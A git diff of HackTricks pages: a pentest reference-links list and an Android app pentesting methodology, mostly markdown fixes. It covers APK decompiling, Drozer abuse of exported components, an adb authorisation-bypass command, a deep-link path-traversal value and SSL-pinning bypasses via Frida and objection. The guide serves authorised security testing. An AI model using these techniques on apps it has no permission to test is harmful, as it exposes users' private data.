a/misc/references.md b/misc/references.md index 1e307ff2..177bcfe3 100644 --- a/misc/references.md +++ b/misc/references.md @@ -1,8 +1,8 @@ # Other Big References -{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/\#python-tty-shell-trick" %} +{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} -{% embed url="https://hausec.com/pentesting-cheatsheet/\#\_Toc475368982" %} +{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %} {% embed url="https://anhtai.me/pentesting-cheatsheet/" %} @@ -12,11 +12,9 @@ {% embed url="http://www.lifeoverpentest.com/2018/02/enumeration-cheat-sheet-for-windows.html" %} -{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics\_of\_windows.html" %} +{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %} -{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp\_resources/OSCP-Survival-Guide.md" %} +{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %} {% embed url="https://anhtai.me/oscp-fun-guide/" %} - - diff --git a/mobile-apps-pentesting/android-app-pentesting/README.md b/mobile-apps-pentesting/android-app-pentesting/README.md index e4d64c0f..cdc9288b 100644 --- a/mobile-apps-pentesting/android-app-pentesting/README.md +++ b/mobile-apps-pentesting/android-app-pentesting/README.md @@ -1,44 +1,46 @@ # Android Applications Pentesting {% hint style="danger" %} -Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**? +Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?\ [**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** {% endhint %} -If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. ## Android Applications Basics It's highly recommended to start reading this page to know about the **most important parts related to Android security and the most dangerous components in an Android application**: -{% page-ref page="android-applications-basics.md" %} +{% content-ref url="android-applications-basics.md" %} +[android-applications-basics.md](android-applications-basics.md) +{% endcontent-ref %} -## ADB \(Android Debug Bridge\) +## ADB (Android Debug Bridge) -This is the main tool you need to connect to an android device \(emulated or physical\). +This is the main tool you need to connect to an android device (emulated or physical).\ It allows you to control your device over **USB** or **Network** from a computer, **copy** files back and forth, **install** and uninstall apps, run **shell** commands, perform **backups**, read **logs** and more. Take a look to the following list of [**ADB Commands**](adb-commands.md) _\*\*_to learn how to use adb. ## Smali -Sometimes it is interesting to **modify the application code** to access **hidden information** \(maybe well obfuscated passwords or flags\). Then, it could be interesting to decompile the apk, modify the code and recompile it. +Sometimes it is interesting to **modify the application code** to access **hidden information** (maybe well obfuscated passwords or flags). Then, it could be interesting to decompile the apk, modify the code and recompile it.\ [**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). This could be very useful as an **alternative for several tests during the dynamic analysis** that are going to presented. Then, **keep always in mid this possibility**. ## Other interesting tricks * [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) -* **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com/), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/) +* **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/) ## Static Analysis -First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler. +First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\ Please, [**read here to find information about different available decompilers**](apk-decompilers.md). ### Looking for interesting Info -Just taking a look to the **strings** of the APK you can search for **passwords**, **URLs** \([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)\), **api** keys, **encryption**, **bluetooth uuids**, **tokens** and anything interesting... look even for code execution **backdoors** or authentication backdoors \(hardcoded admin credentials to the app\). +Just taking a look to the **strings** of the APK you can search for **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** and anything interesting... look even for code execution **backdoors** or authentication backdoors (hardcoded admin credentials to the app). #### Firebase @@ -46,10 +48,10 @@ Pay special attention to **firebase URLs** and check if it is bad configured. [M ### Basic understanding of the application - Manifest.xml, strings.xml -Using any of the **decompilers** mentioned [**here** ](apk-decompilers.md)you will be able to read the _Manifest.xml_. You could also **rename** the **apk** file extension **to .zip** and **unzip** it. +Using any of the **decompilers** mentioned [**here** ](apk-decompilers.md)you will be able to read the _Manifest.xml_. You could also **rename** the **apk** file extension **to .zip** and **unzip** it.\ Reading the **manifest** you can find **vulnerabilities**: -* First of all, check if **the application is debuggeable**. A production APK shouldn't be \(or others will be able to connect to it\). You can check if an application is debbugeable looking in the manifest for the attribute `debuggable="true"` inside the tag _<application_ Example: ` ``` -You can use [**qark**](https://github.com/linkedin/qark) with the `--exploit-apk` parameter to create a malicious application to test for possible **Tapjacking** vulnerabilities. +You can use [**qark**](https://github.com/linkedin/qark) with the `--exploit-apk` parameter to create a malicious application to test for possible **Tapjacking** vulnerabilities.\ A example project implementing this kind of feature can be fund in [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp). The mitigation is relatively simple as the developer may choose not to receive touch events when a view is covered by another. Using the [Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security): @@ -97,26 +99,28 @@ The mitigation is relatively simple as the developer may choose not to receive t ### Task Hijacking -{% page-ref page="android-task-hijacking.md" %} +{% content-ref url="android-task-hijacking.md" %} +[android-task-hijacking.md](android-task-hijacking.md) +{% endcontent-ref %} ### Insecure data storage #### Internal Storage -Files **created** on **internal** storage are **accessible** only by the **app**. This protection is implemented by Android and is sufficient for most applications. But developers often use `MODE_WORLD_READBALE` & `MODE_WORLD_WRITABLE` to give access to those files to a different application, but this doesn’t limit other apps\(malicious\) from accessing them. -During the **static** analysis **check** for the use of those **modes**, during the **dynamic** analysis **check** the **permissions** of the files created \(maybe some of them are worldwide readable/writable\). +Files **created** on **internal** storage are **accessible** only by the **app**. This protection is implemented by Android and is sufficient for most applications. But developers often use `MODE_WORLD_READBALE` & `MODE_WORLD_WRITABLE` to give access to those files to a different application, but this doesn’t limit other apps(malicious) from accessing them.\ +During the **static** analysis **check** for the use of those **modes**, during the **dynamic** analysis **check** the **permissions** of the files created (maybe some of them are worldwide readable/writable).\ [More information about this vulnerability and how to fix it here.](https://manifestsecurity.com/android-application-security-part-8/) #### External Storage -Files created on **external storage**, such as SD Cards, are **globally readable and writable**. Because external storage can be removed by the user and also modified by any application, you should **not store sensitive information using external storage**. -As with data from any untrusted source, you should **perform input validation** when handling **data from external storage**. We strongly recommend that you not store executables or class files on external storage prior to dynamic loading. If your app does retrieve executable files from external storage, the files should be signed and cryptographically verified prior to dynamic loading. +Files created on **external storage**, such as SD Cards, are **globally readable and writable**. Because external storage can be removed by the user and also modified by any application, you should **not store sensitive information using external storage**.\ +As with data from any untrusted source, you should **perform input validation** when handling **data from external storage**. We strongly recommend that you not store executables or class files on external storage prior to dynamic loading. If your app does retrieve executable files from external storage, the files should be signed and cryptographically verified prior to dynamic loading.\ Info taken from [here](https://manifestsecurity.com/android-application-security-part-8/). External storage can be **accessed** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` {% hint style="info" %} -Starting with Android 4.4 \(**API 17**\), the SD card has a directory structure which **limits access from an app to the directory which is specifically for that app**. This prevents malicious application from gaining read or write access to another app's files. +Starting with Android 4.4 (**API 17**), the SD card has a directory structure which **limits access from an app to the directory which is specifically for that app**. This prevents malicious application from gaining read or write access to another app's files. {% endhint %} #### Sensitive data stored in clear-text @@ -139,31 +143,33 @@ A good way to test this is to try to capture the traffic using some proxy like B ### Broken Cryptography -#### Poor Key Management Processes +#### Poor Key Management Processes Some developers save sensitive data in the local storage and encrypt it with a key hardcoded/predictable in the code. This shouldn't be done as some reversing could allow attackers to extract the confidential information. -#### Use of Insecure and/or Deprecated Algorithms +#### Use of Insecure and/or Deprecated Algorithms Developers shouldn't use **deprecated algorithms** to perform authorisation **checks**, **store** or **send** data. Some of these algorithms are: RC4, MD4, MD5, SHA1... If **hashes** are used to store passwords for example, hashes brute-force **resistant** should be used with salt. ### Other checks * It's recommended to **obfuscate the APK** to difficult the reverse engineer labour to attackers. -* If the app is sensitive \(like bank apps\), it should perform it's **own checks to see if the mobile is rooted** and act in consequence. -* If the app is sensitive \(like bank apps\), it should check if an **emulator** is being used. -* If the app is sensitive \(like bank apps\), it should **check it's own integrity before executing** it to check if it was modified. +* If the app is sensitive (like bank apps), it should perform it's **own checks to see if the mobile is rooted** and act in consequence. +* If the app is sensitive (like bank apps), it should check if an **emulator** is being used. +* If the app is sensitive (like bank apps), it should **check it's own integrity before executing** it to check if it was modified. * Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK ### React Native Application Read the following page to learn how to easily access javascript code of React applications: -{% page-ref page="react-native-application.md" %} +{% content-ref url="react-native-application.md" %} +[react-native-application.md](react-native-application.md) +{% endcontent-ref %} ### Xamarin Applications -**Xamarin** apps are written in **C\#**, in order to access the C\# code **decompressed,** you need to get the files from the **apk**: +**Xamarin** apps are written in **C#**, in order to access the C# code **decompressed, **you need to get the files from the **apk**: ```bash 7z r app.apk #Or any other zip decompression cmd @@ -171,11 +177,11 @@ Read the following page to learn how to easily access javascript code of React a Then, decompress all the DLsL using [**xamarin-decompress**](https://github.com/NickstaDB/xamarin-decompress)**:** -```text +``` python3 xamarin-decompress.py -o /path/to/decompressed/apk ``` - and finally you can use [**these recommended tools**](../../reversing/reversing-tools-basic-methods/#net-decompiler) to **read C\# code** from the DLLs. + and finally you can use [**these recommended tools**](../../reversing/reversing-tools-basic-methods/#net-decompiler) to** read C# code** from the DLLs. ### Other interesting functions @@ -186,19 +192,21 @@ python3 xamarin-decompress.py -o /path/to/decompressed/apk ### **Other tricks** -{% page-ref page="content-protocol.md" %} +{% content-ref url="content-protocol.md" %} +[content-protocol.md](content-protocol.md) +{% endcontent-ref %} ## Dynamic Analysis -> First of all, you need an environment where you can install the application and all the environment \(Burp CA cert, Drozer and Frida mainly\). Therefore, a rooted device \(emulated or not\) is extremely recommended. +> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended. ### Online Dynamic analysis -You can create a **free account** in: [https://appetize.io/](https://appetize.io/). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving. +You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving. You can even **see the logs of your application** in the web and connect through **adb**. -![](../../.gitbook/assets/image%20%2823%29.png) +![](<../../.gitbook/assets/image (60).png>) Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators. @@ -206,42 +214,42 @@ Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emu You can use some **emulator** like: -* [**Android Studio**](https://developer.android.com/studio) **\(**You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator\). +* [**Android Studio**](https://developer.android.com/studio) **(**You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator). * If you want to try to **install** an **image** and then you want to **delete it** you can do that on Windows:`C:\Users\\AppData\Local\Android\sdk\system-images\` or Mac: `/Users/myeongsic/Library/Android/sdk/system-image` * This is the **main emulator I recommend to use and you can**[ **learn to set it up in this page**](avd-android-virtual-device.md). -* \*\*\*\*[**Genymotion**](https://www.genymotion.com/fun-zone/) **\*\*\(\_Free version:** Personal Edition**, you need to** create **an** account\*\*.\_\) -* \*\*\*\*[Nox](https://es.bignox.com/) \(Free, but it doesn't support Frida or Drozer\). +* \*\*\*\*[**Genymotion**](https://www.genymotion.com/fun-zone/) **\*\*(\_Free version: **Personal Edition**, you need to **create** an **account\*\*.\_) +* \*\*\*\*[Nox](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer). {% hint style="info" %} When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible. {% endhint %} -As most people will use **Genymotion**, note this trick. To **install google services** \(like AppStore\) you need to click on the red marked button of the following image: +As most people will use **Genymotion**, note this trick. To **install google services** (like AppStore) you need to click on the red marked button of the following image: -![](../../.gitbook/assets/image%20%28100%29.png) +![](<../../.gitbook/assets/image (200).png>) -Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** \(this will be useful if you will be connecting to the Android VM from a different VM with the tools\). +Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools). -Or you could use a **physical** **device** \(you need to activate the debugging options and it will be cool if you can root it\): +Or you could use a **physical** **device** (you need to activate the debugging options and it will be cool if you can root it): 1. **Settings**. -2. \(FromAndroid 8.0\) Select **System**. +2. (FromAndroid 8.0) Select **System**. 3. Select **About phone**. 4. Press **Build number** 7 times. 5. Go back and you will find the **Developer options**. -> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it. +> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\ > I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so will will be able to **learn how the application works** while MobSF **capture** a lot of **interesting** **data** you can review later on. ### Unintended Data Leakage #### Logging -Often Developers leave debugging information publicly. So any application with `READ_LOGS` permission can **access those logs** and can gain sensitive information through that. -While navigating through the application use [**pidcat**](https://github.com/JakeWharton/pidcat)_\(Recommended, it's easier to use and read_\) or [adb logcat](adb-commands.md#logcat) to read the created logs and **look for sensitive information**. +Often Developers leave debugging information publicly. So any application with `READ_LOGS` permission can **access those logs** and can gain sensitive information through that.\ +While navigating through the application use [**pidcat**](https://github.com/JakeWharton/pidcat)_(Recommended, it's easier to use and read_) or [adb logcat](adb-commands.md#logcat) to read the created logs and **look for sensitive information**. {% hint style="warning" %} -Note that from l**ater versions that Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs. +Note that from l**ater versions that Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\ Anyway, it's still recommended to **not log sensitive information**. {% endhint %} @@ -249,37 +257,37 @@ Anyway, it's still recommended to **not log sensitive information**. Android provides **clipboard-based** framework to provide copy-paste function in android applications. But this creates serious issue when some **other application** can **access** the **clipboard** which contain some sensitive data. **Copy/Paste** function should be **disabled** for **sensitive part** of the application. For example, disable copying credit card details. -#### Crash Logs +#### Crash Logs -If an application **crashes** during runtime and it **saves logs** somewhere then those logs can be of help to an attacker especially in cases when android application cannot be reverse engineered. Then, avoid creating logs when applications crashes and if logs are sent over the network then ensure that they are sent over an SSL channel. +If an application **crashes** during runtime and it **saves logs** somewhere then those logs can be of help to an attacker especially in cases when android application cannot be reverse engineered. Then, avoid creating logs when applications crashes and if logs are sent over the network then ensure that they are sent over an SSL channel.\ As pentester, **try to take a look to these logs**. -#### Analytics Data Sent To 3rd Parties +#### Analytics Data Sent To 3rd Parties Most of the application uses other services in their application like Google Adsense but sometimes they **leak some sensitive data** or the data which is not required to sent to that service. This may happen because of the developer not implementing feature properly. You can **look by intercepting the traffic** of the application and see whether any sensitive data is sent to 3rd parties or not. ### SQLite DBs -Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** \(which would be a vulnerability\). +Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** (which would be a vulnerability).\ Databases should be located in `/data/data/the.package.name/databases` like `/data/data/com.mwr.example.sieve/databases` If the database is saving confidential information and is **encrypted b**ut you can **find** the **password** inside the application it's still a **vulnerability**. Enumerate the tables using `.tables` and enumerate the columns of the tables doing `.schema ` -### Drozer \(Exploit Activities, Content Providers and Services\) +### Drozer (Exploit Activities, Content Providers and Services) -**Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication \(IPC\) mechanism and interact with the underlying operating system. From [Drozer Guide](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf). +**Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. From [Drozer Guide](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf).\ Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. ### Exploiting exported Activities -\*\*\*\*[**Read this if you want to remind what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities) +\*\*\*\*[**Read this if you want to remind what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ _\*\*_Also remember that the code of an activity starts with the `onCreate` method. #### Authorisation bypass -When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.** +When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**\ [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/#activities)\*\*\*\* You can also start an exported activity from adb: @@ -287,11 +295,11 @@ You can also start an exported activity from adb: * PackageName is com.example.demo * Exported ActivityName is com.example.test.MainActivity -```text +``` adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions \(API versions < 21\). +**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). {% hint style="info" %} Note that an authorisation bypass is not always a vulnerability, it would depend on how the bypass works and which information is exposed. @@ -303,29 +311,29 @@ Note that an authorisation bypass is not always a vulnerability, it would depend ### Exploiting Content Providers - Accessing and manipulating sensitive information -\*\*\*\*[**Read this if you want to remind what is a Content Provider.**](android-applications-basics.md#content-provider) -Content providers are basically used to **share data**. If an app has available content providers you may be able to **extract sensitive** data from them. It also interesting to test possible **SQL injections** and **Path Traversals** as they could be vulnerable. +\*\*\*\*[**Read this if you want to remind what is a Content Provider.**](android-applications-basics.md#content-provider)\ +Content providers are basically used to **share data**. If an app has available content providers you may be able to **extract sensitive** data from them. It also interesting to test possible **SQL injections** and **Path Traversals** as they could be vulnerable.\ [**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/#content-providers)\*\*\*\* ### **Exploiting Services** -[**Read this if you want to remind what is a Service.**](android-applications-basics.md#services) +[**Read this if you want to remind what is a Service.**](android-applications-basics.md#services)\ _\*\*_Remember that a the actions of a Service start in the method `onStartCommand`. -As service is basically something that **can receive data**, **process** it and **returns** \(or not\) a response. Then, if an application is exporting some services you should **check** the **code** to understand what is it doing and **test** it **dynamically** for extracting confidential info, bypassing authentication measures... +As service is basically something that **can receive data**, **process** it and **returns** (or not) a response. Then, if an application is exporting some services you should **check** the **code** to understand what is it doing and **test** it **dynamically** for extracting confidential info, bypassing authentication measures...\ [**Learn how to exploit Services with Drozer.**](drozer-tutorial/#services)\*\*\*\* ### **Exploiting Broadcast Receivers** -[**Read this if you want to remind what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers) +[**Read this if you want to remind what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ _\*\*_Remember that a the actions of a Broadcast Receiver start in the method `onReceive`. -A broadcast receiver will be waiting for a type of message. Depending on ho the receiver handles the message it could be vulnerable. +A broadcast receiver will be waiting for a type of message. Depending on ho the receiver handles the message it could be vulnerable.\ [**Learn how to exploit Broadcast Receivers with Drozer.**](./#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py). +You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ You can **open** a declared **scheme** using **adb** or a **browser**: ```bash @@ -345,20 +353,20 @@ _Note that you can **omit the package name** and the mobile will automatically c In order to find the **code that will be executed in the App**, go to the activity called by the deeplink and search the function **`onNewIntent`**. -![](../../.gitbook/assets/image%20%28436%29%20%281%29%20%281%29.png) +![](<../../.gitbook/assets/image (436) (1) (1) (1).png>) #### Sensitive info -Every time you find a deep link check that i**t's not receiving sensitive data \(like passwords\) via URL parameters**, because any other application could **impersonate the deep link and steal that data!** +Every time you find a deep link check that i**t's not receiving sensitive data (like passwords) via URL parameters**, because any other application could **impersonate the deep link and steal that data!** #### Parameters in path -You **must check also if any deep link is using a parameter inside the path** of the URL like: `https://api.example.com/v1/users/{username}` , in that case you can force a path traversal accessing something like: `example://app/users?username=../../unwanted-endpoint%3fparam=value` . -Note that if you find the correct endpoints inside the application you may be able to cause a **Open Redirect** \(if part of the path is used as domain name\), **account takeover** \(if you can modify users details without CSRF token and the vuln endpoint used the correct method\) and any other vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). +You **must check also if any deep link is using a parameter inside the path** of the URL like: `https://api.example.com/v1/users/{username}` , in that case you can force a path traversal accessing something like: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +Note that if you find the correct endpoints inside the application you may be able to cause a **Open Redirect** (if part of the path is used as domain name), **account takeover** (if you can modify users details without CSRF token and the vuln endpoint used the correct method) and any other vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). #### More examples -An [interesting bug bounty report](https://hackerone.com/reports/855618) about links \(_/.well-known/assetlinks.json_\). +An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). ### Insufficient Transport Layer Protection @@ -366,31 +374,31 @@ An [interesting bug bounty report](https://hackerone.com/reports/855618) about l * **Weak Handshake Negotiation:** Application and server perform an SSL/TLS handshake but use an insecure cipher suite which is vulnerable to MITM attacks. So any attacker can easily decrypt that connection. * **Privacy Information Leakage:** Most of the times it happens that Applications do authentication through a secure channel but rest all connection through non-secure channel. That doesn’t add to security of application because rest sensitive data like session cookie or user data can be intercepted by an malicious user. -From the 3 scenarios presented we are going to discuss **how to verify the identity of the certificate**. The other 2 scenarios depends on the **TLS configuratio**n of the server and if the **application sends unencrypted data**. The pentester should check by it's own the TLS configuration of the server \([here](../../pentesting/pentesting-web/#ssl-tls-vulnerabilites)\) and detect if any **confidential information is sent by an unencrypted/vulnerable** channel . +From the 3 scenarios presented we are going to discuss **how to verify the identity of the certificate**. The other 2 scenarios depends on the **TLS configuratio**n of the server and if the **application sends unencrypted data**. The pentester should check by it's own the TLS configuration of the server ([here](../../pentesting/pentesting-web/#ssl-tls-vulnerabilites)) and detect if any **confidential information is sent by an unencrypted/vulnerable** channel .\ More information about how to discover and fix these kind of vulnerabilities [**here**](https://manifestsecurity.com/android-application-security-part-10/). #### SSL Pinning -By default, when making an SSL connection, the client\(android app\) checks that the server’s certificate has a verifiable chain of trust back to a trusted \(root\) certificate and matches the requested hostname. This lead to problem of **Man in the Middle Attacks\(MITM\)**. -In certificate Pinnning, an Android Application itself contains the certificate of server and only transmit data if the same certificate is presented. +By default, when making an SSL connection, the client(android app) checks that the server’s certificate has a verifiable chain of trust back to a trusted (root) certificate and matches the requested hostname. This lead to problem of **Man in the Middle Attacks(MITM)**.\ +In certificate Pinnning, an Android Application itself contains the certificate of server and only transmit data if the same certificate is presented.\ It's recommended to **apply SSL Pinning** for the sites where sensitive information is going to be sent. ### Inspecting HTTP traffic -First of all, you should \(must\) **install the certificate** of the **proxy** tool that you are going to use, probably Burp. If you don't install the CA certificate of the proxy tool, you probably aren't going to see the encrypted traffic in the proxy. +First of all, you should (must) **install the certificate** of the **proxy** tool that you are going to use, probably Burp. If you don't install the CA certificate of the proxy tool, you probably aren't going to see the encrypted traffic in the proxy.\ **Please,** [**read this guide to learn how to do install a custom CA certificate**](android-burp-suite-settings.md)**.** -For applications targeting **API Level 24+ it isn't enough to install the Burp CA** certificate in the device. To bypass this new protection you need to modify the Network Security Config file. So, you could modify this file to authorise your CA certificate or you can **\*\*\[**read this page for a tutorial on how to force the application to accept again all the installed certificate sin the device**\]\(make-apk-accept-ca-certificate.md\)**.\*\* +For applications targeting **API Level 24+ it isn't enough to install the Burp CA** certificate in the device. To bypass this new protection you need to modify the Network Security Config file. So, you could modify this file to authorise your CA certificate or you can **\*\*\[**read this page for a tutorial on how to force the application to accept again all the installed certificate sin the device**]\(make-apk-accept-ca-certificate.md)**.\*\* #### SSL Pinning -We have already discuss what is SSL Pinning just 2 paragraphs before. When it's implemented in an application you will need to bypass it to inspect the HTTPS traffic or you won't see it. +We have already discuss what is SSL Pinning just 2 paragraphs before. When it's implemented in an application you will need to bypass it to inspect the HTTPS traffic or you won't see it.\ Here I'm going to present a few options I've used to bypass this protection: * Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work. -* You could use **Frida** \(discussed below\) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +* You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) * You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -* You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** \(explained below\) +* You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below) #### Common Web vulnerabilities @@ -398,23 +406,23 @@ Note that in this step you should look for common web vulnerabilities. A lot of ### Frida -Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. Learn more at [www.frida.re](https://www.frida.re/). -**It's amazing, you can access running application and hook methods on run time to change the behaviour, change values, extract values, run different code... -If you want to pentest Android applications you need to know how to use Frida.** +Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. Learn more at [www.frida.re](https://www.frida.re).\ +**It's amazing, you can access running application and hook methods on run time to change the behaviour, change values, extract values, run different code...**\ +**If you want to pentest Android applications you need to know how to use Frida.** -**Learn how to use Frida:** [**Frida tutorial**](frida-tutorial/) -**Some "GUI" for actions with Frida:** [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -**Some other abstractions based on Frida:** [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -**You can find some Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re/)\*\*\*\* +**Learn how to use Frida:** [**Frida tutorial**](frida-tutorial/)\ +**Some "GUI" for actions with Frida:** [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)\ +**Some other abstractions based on Frida:** [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)\ +**You can find some Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)\*\*\*\* ### **Android Application Analyzer** -This tool could help you managing different tools during the dynamic analysis: [https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +This tool 